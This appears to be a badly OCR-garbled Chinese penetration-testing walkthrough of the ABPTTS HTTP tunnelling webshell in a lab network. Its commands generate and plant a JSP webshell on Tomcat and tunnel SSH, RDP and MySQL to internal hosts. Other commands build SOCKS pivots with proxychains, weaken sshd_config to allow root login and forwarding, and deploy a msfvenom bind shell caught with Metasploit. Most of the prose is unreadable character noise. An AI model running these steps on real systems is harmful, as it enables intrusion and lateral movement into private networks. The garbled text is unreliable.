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1. XF abptts
— AN AR http IiEEE TR, T py2.7, https://github.com/nccgroup/ABPTTS
abpttsfactory.py FEFHX4 R webshell,E i R % 3F jsp,aspx,php[ TJEEEE socket IR FF]BIA
abpttsclient.py http jnZEREE RS i

abptts.* http fNZERXIE AR P s, B) webshell

2. £/ abptts BIAY— LA EINFEZMNBUITRE, LHFHRBE, LA E I kali & ABIHETER, T2, RFIRE kali FECAMMBENERBESR S L%
WY, THBR, IREHE windows & T abptts, MIFEE L L EKIF VCForPython27 . .msi, ARG HEESIE pycrypto FER o] gE & H o] &8

# pip2 install httplib2 http £iE4ALIEE

# pip2 install pycrypto S

3. B, BRMNTBESLER webshell[ B http 1% 50E AR 5 im | FIH X N AV ECE XXM, SKAR HE T IE webshell BRI BNBURF R 8 T5, FREZHEA
BHK

# cd /home/ABPTTS/



# python abpttsfactory.py -o ./shellbox

4. #E,FFIEKERER abptts, SEHELFFEEE, AFEIC abptts.jsp [webshell , BRERFIK 1 FLEEEENBRMESBERT[RURERAF—RLR
FEEEER A A ERM‘E Fin AR ERE webshell, BI T I 7 — & http MEERIE, ZJ5, RATER T AT AL BB #E1T— RV tep swNFE R 1E, L
m, F AT PUEE N B ARIA T A Tomcat7 Hl28 A A kaliMaster YR —% http INFHEXIE, FF ALLERIE KA 8] B #7—Z% A M T B WebServer-I1S7 Y
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TEIER

System Status .. x |

€& ([192.168.3.63:8080/abptts. jsp

Z EHEEE|AME kaliMaster Hl8§ ENTERBEMNE P imHARTER, EXXBER P inSRESHESRIENISRE, T8, WX AFI A http BE# A fEE
AIEA tep v H

# python abpttsclient.py -c shellbox/config.txt -u http://192.168.3.63:8080/abptts.jsp -f 127.0.0.1:1222/127.0.0.1:22
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python abpttsclient.py —c shellbe onfig.txt —u http://192.168.3.63:

ilack Path Toward The Sun ]]
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£ tep im K
# python abpttsclient.py -c shellbox/config.txt -u http://192.168.3.63:8080/abptts.jsp -f 127.0.0.1:1222/127.0.0.1:22 -f

127.0.0.1:1389/192.168.4.2:3389 -f 127.0.0.1:5221/192.168.4.32:22

T EMIm O EMINGE, RIT]EARMEY kaliMaster #la8 EEZ Bir— RN M T H WebServer-IIS7 #lzf EA rdp[ S FE, LA INREABARER, BT &
win £ & TIE1T abptts, ARSI ssp XMUMHIR], 0T

# rdesktop -f -a 16 127.0.0.1:1389 -r sound:off -g 1024*768
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rdesktop - 127.0.0.1

C:\>netstat -ano | findstr "ESTABLISHED"
TCP 192.168.4.2:3389 192.168.4.31:43285 ESTABLISHED 2863

C:\ rhosthame
hWebServer-II157

C:\>ipconfig | findstr "IPv4"
IPvd Address. . . . . . . . . . . & 192.,168.4.2

Ciy>

% windows Firewall

g\ Js ﬁ Control Panel = System and Security + ‘Windows Firewall - l{al | Search Control Panel

Cantral Panel Home Help protect your computer with Windows Firewall

Allows a program or feature ‘windows Firewal can help prevent hackers or malicious software From gaining access ko your computer through the
through Windows Firewall Internet ar & network.
B Change notification settings How does a firewall help protect my computer?

. What bwork locations?
Fg Turn Windows Firewall on or off RN I

SRS =
B Restore defaults l & Home or work (private) networks Not Connected _Vj

A Advanced settings T —
" & Public networks Connected _A_i

Mebworks in public places such as airparts or coffee shops

Troubleshoot my netwark,

| Windows Firewall state: on

x Bi54 M
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FEAHAY kaliMaster 88 E 4k EE R B AR ZR A M TAY tomcat8 #18§ LAY ssh, a1

# ssh -p 5221 root@127.0.0.1

e/ABPTTS#
0.0.1

root@tomcat8: ~
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http fn#EE

# python abpttsclient.py -c shellbox/config.txt -u http://192.168.3.63:8080/abptts.jsp -f 127.0.0.1:5221/127.0.0.1:22

LEHEH http NEREEE /5, AEANSTH Tomcat? #lag BT, EBITE ssh MIEITum D& KT8, =, sshd_config AEBERRFECE XM, WARKE T
RESilL iR himiRE
# vi /etc/ssh/sshd_config

AllowTcpForwarding yes

GatewayPorts yes

TCPKeepAlive yes R OBE, B 1E ssh BT FF

PasswordAuthentication yes SERHZIEUE

PermitRootLogin yes it root ToJinfE&EE

# /etc/init.d/sshd restart & /8 ssh

&/, B2 A kaliMaster Hla8 4T ssh &SR A, BRMESLRI http MEHBIEZES BARA N TH Tomcat7 Hl38 E, F@id ARS8 ssh sk AEE
ER7N: SN/ AT
# ssh -p 5221 -qTfnN -D 0.0.0.0:1081 root@l127.0.0.1
# netstat -tulnp | grep "1081"
# egrep -v "~$|#" /etc/proxychains.conf
random_chain
proxy_dns
tcp _read time out 15000
tcp _connect _time out 8000
[ProxylList]

socks5 127.0.0.1 1081



LB, AN EZEAM A kaliMaster #l8 EFL 0T IAF) A proxychains 2| BRI "R A M T tomcat8 H185AY ssh

# proxychains ssh -p 22 root@192.168.4.32

le Edi

REZIKET BFR—R AN T WebServer-IIS7 #1889 rdp, 21T

# proxychains rdesktop -f -a 16 192.168.4.2:3389 -r sound:off -g 1024*768

File Edit View Search Terminal H

'anel ~ System and Security - Windows Firewal

ining access to your computer through the

A Advanced settings
Troubleshoot my network.

C:\>netstat -ano | findstr "ESTABLISHED"
TCP 192.168.4.2:3339 192.168.4.31:43285 ESTABLISHED

Ci\>hostname
lebServer-1157

C:\>ipconfig | findstr "IPv4"
IPv4 Address : 192.168.4.2

Ci\>
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B FEXEAZRARMNBACEZED T BHFEAN, BXHNXRAEE—ZA M THHE, MEMNREFERAEET BRN AN T, Xt BHEMAET abptts
9 http INZBRE R4, ZFRIXME %, ARBREXHFRSEFERYL, EXHAS)L, iRF AL E http INZEBFEHRERE, HEMH abptts HAZABIR
MEREAM, BN EEEENMR, REELSEHEENEFRAN TARRER—§ web RG22 MZE, B AXHEF R E|E L £HCH webshell[ BFig
BRSim ], DIER X B BB AR IAEE SRR AT, b an, AT AR FI A abptts i@id BARASE Tomcat7 Yl EIEXRZEZEBIFE KA M T Y 0ldLnmp 1234 ssh,
BAEIEMT

B, AR ST EfZabptts. jsp[ &R 5 1 2 B R R Tomcat 7 ¥ls3 Ve B R B X 1, FrEAH kaliMaster Hlss TR Pt iTi&E R, B FE—Ehttp

IRASE

# python abpttsclient.py -c shellbox/config.txt -u http://192.168.3.63:8080/abptts.jsp -f 127.0.0.1:8081/192.168.4.32:8080

1%E, Bit abptts.jsp ZE B “HRAMN TAY tomcat8 Ylasyis Eihm B3R T, R B HEAHAY kaliMaster HlasthiTE PimdtiTiEE, BT E "FE http il
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# python abpttsclient.py -c shellbox/config.txt -u http://127.0.0.1:8081/abptts.jsp -f 127.0.0.1:1389/192.168.5.14:22

RE, BREAMA kaliMaster HlasKEREARHAY 1389 un O BN O] A INEE] B AR — R A M T Y 01d1nmp 125649 22 im A b, SERRAUCR AT

# ssh -p 1389 root@l27.0.0.1

ile Edit View Search Terminal Help

File Edit View Search Terminal
: /home/ABPTTS#
2 92.1¢ .14

root@OldLnmp : ~ 9 @ @

File Edit WView




8. PN E sshpFE+WEhttp MFERERBEHENSN, RATRTHE—ZRAMZE, SCI AR LR E £, tbin, B E T @& B #rih 5L Tomeat?
YIBMERERZHZANMN T A Toncat8 Yla8 Z BB WE ssh RiE+http MERFE, RIFVG R BHR—R A M T WebServer-II1S7 #lz84) rdp IZHAMN T
Ubuntul6-LAMP #1254] ssh, BB B ERIELRE, T

Bk, B E5IE abptts. jsp[ BFiEAR S I 12| BFRiA SR Tomcat7 HlasmieEih = B3R T, FFEAM kaliMaster {ls3 ITR FimifTiER, B E—Z http
Nz kxig

# python abpttsclient.py -c shellbox/config.txt -u http://192.168.3.63:8080/abptts.jsp -f 127.0.0.1:1222/192.168.4.32:22

z I, BATAH AR B AR Z R AN THY Tomcat8 a8 nHEFE — & sshFE, )T R, X—REREZR[E 4. *NERY, AT sshaiSHE AN ARG AP &IFH root,
B FEhEE
# ssh -p 1222 -qTfnN -D 0.0.0.0:1081 root@l127.0.0.1
# netstat -tulnp | grep 1081
# egrep -v "~$|#" /etc/proxychains.conf
random_chain
proxy_dns
tcp _read time out 15000
tcp _connect _time _out 8000
[ProxylList]

socks5 127.0.0.1 1081

BE, AR kaliMaster Hlar @2 5 /= http IERIE, W F UL EIEMRBE, Z3E L proxychains ERMAS TE2EMBHF "R AM TH Tomcat8 Hlas
H3AN A

# proxychains python abpttsclient.py -c dp/config.txt -u http://127.0.0.1:8080/abptts.jsp -f 127.0.0.1:1223/192.168.5.32:22



SRIE, FEARMAY kaliMaster #85F) B FEIEE ARG 1223 i ARG I HE —

# ssh -p 1223 -qTfnN -D 0.0.0.0:1082 root@l27.0.0.1

Ra, RARAEARHE kaliMaster Al=% £ XX B A5 HARAY 4. %70 5. ¥R ER

& ssh g, X—ERENZE&EE 5. % MY

# proxychains ssh root@192.168.5.102 EEBARTZHAMTA Ubuntu-LAMP #188AY ssh

root@ubuntul 6-LAMP: ~
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# proxychains rdesktop -f -a 16 192.168.4.2:3389 -r sound:off -g 1024*768 ZEiZHir—ZKAMN T WebServer-I1S7 #183H) rdp

rdesktop — 192.168.4.2

C:y\»netstat -ano | findstr "ESTABLISHED"

e 9o

TCP 192.168.4.2:3389 192.168.4.31:43285 ESTABLISHED 2868

C:\ >hostname

WebServer-IIS7

Ci\>ipconfig | findstr "IPv4"
IPvd Address. . . . . . . . . . . 1 192.168.4.2

g E windows Firewall
B e Y ————————————————
a uler

|‘?\ )W | + Conkrol Panel ~ System and Security - Windows Firewall

2 i‘al | Search Contral Panel

Cantral Panel Hame Help protect your computer with Windows Firewall

Allow a program or feature ‘Windows Firewall can help prevent hackers or malicious software from gaining access to your computer throu
H Internet or a netwark,

through ‘Windows Firewall
hI e |:u;.|}'-\|:l.rﬂir| 4yz ﬁ, Change notification settings How does a firewall help protect my computer?

WWhat are network locations?
' Turn Windows Firewall on or off

H Restore defaulks . & Home or work {private) networks

Mot Connecte

1
v
il

g; #y Advanced settings -
i a-‘ Public networks

= Troubleshook my network,

Connecte

startup.bat | Mebworks in public places such as airports or coffee shops

‘Windows Firewall state: on

[ start

9. @it http INEEFE A B A M8 EVL 2 LAY bind B! shell, LN, F IR R

bash

7 kaliMaster M85 AR FIT NV A payload

# msfvenom -p linux/x64/shell bind tcp LPORT=443 -f elf -o shell

7145 PM

%o [ﬁm 3fzf2018 =

i.‘j.'

B #riA 5108 Tomcat7 P8k A0 —“Z A M T A Tomcat8 #18§F £ AY bind &



REREEZZBERTHANM T Tomcat8 ek L fT
# chmod +x shell
# ./shell &

# netstat -tulnp | grep 443

&, BRE R AR kaliMaster Ha8 E T http INEREIE

# python abpttsclient.py -c shellbox/config.txt -u http://192.168.3.63:8080/abptts.jsp -f 127.0.0.1:4443/192.168.4.32:443

mE,¥T7F msf Bk bind FARMAY 4443 im A _ERIT] A hE R B AR —RMM T A Tomcat8 #l=7AY shell uin 0 L, LRI T
mst > use exploit/multi/handler

msf > set payload linux/x64/shell bind_tcp

msf > set rhost 127.0.0.1

mst > set lport 4443

File Edit WView Search Terminal Help

to 192

root@kaliMaster:




10. @iF http INEEFEZ K B ZHKA M TSR, tbin, Bl E AR A kaliMaster Pla5 £ B#ri0 5587 Tomcat7 YlsF LS —F http INEERIE, A
EHESLEFEEBIRZHAMN T Tomcats F18§ L& 7 ssh BB RGO FH AN M T 01d1nmp #3569 mysql, IR F A, 0T

KR EE AR, o EAHAY kaliMaster a8 E BT FE— = http NZFEREE

# python abpttsclient.py -c shellbox/config.txt -u http://192.168.3.63:8080/abptts.jsp -f 127.0.0.1:1222/192.168.4.32:22

mfE, F A EEE http INFHEIEE B AR KA T Tomcat8 Hlas L HEIL—& ssh BRIE, XHFFA(T#L O] PUBIE socks RIBFE)EANBIRZRNMN T e T
# ssh -p 1222 -qTfnN -D 0.0.0.0:1081 root@127.0.0.1
# netstat -tulnp | grep 1081
# egrep -v "~$|#" /etc/proxychains.conf
random_chain
proxy_dns
tcp _read time out 15000
tcp _connect _time out 8000
[ProxylList]

socks5 127.0.0.1 1081

W, BIEFEARA kaliMaster #1885 0) B AR —ZR WM T A9 O1d1lnmp #1=8H9 mysql

# proxychains mysql -uroot -p -h 192.168.5.14 -P 3306



¢ shellbox/config.txt u http://192.168.3.63:8080/abptts. i

oward The

ons from 127.0.0.1:12
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-p —h 19Z.

| R—chain| 27.0.0.1:1081—-<><>-192.168.5.14:3306 OK
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 2

Server version: 5.6.27 MySQL Community Server (GPL)

Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

SQL [ (none) ]> show

11, %% nmap ix Q334

12, in%; hydra RS H A WS

AN
B TRIEMND, ROTRMAITTHBUEEE, RIETERE ves MIER T, B KR REMRIIN A AN E] B ARK AR ARMNEE, BN tREE, AT

—A web [Eim A, BN ] RIABIERIE, BN FHEMN TR, webshell AyfRik 4 38, W EF A THES, BEENAAEERRAE—RIINE BT, ¥ EIRR
Gik T D BEMABITAE, L FABE B EEANKE, B, BENBEY AN thEFEE, RS LF, XBERE T, WENMBRENE LR R BB EXNPENZ
BERRIFEW, REFISOIXLEREM T , XETANRRHN, BEAHRE R D F F, FERIAZRE L BERILRE L, BIRAZLNEFHKEER, £
LIXLEEBLL IR, B3, BANMBRAEMERE, MFAARBIULRERGIIA, AENEEAT, HREHRLERATETNE RN, ARR TR S LR T ERIE, 2
REPBA X, AMHEESRAMR TR, BESFINEL, N7, XTHABSNEMEMANBRURR, KR-h —THED 7, HEETHL, IBOHAFL
HWORR T, B, 3T )
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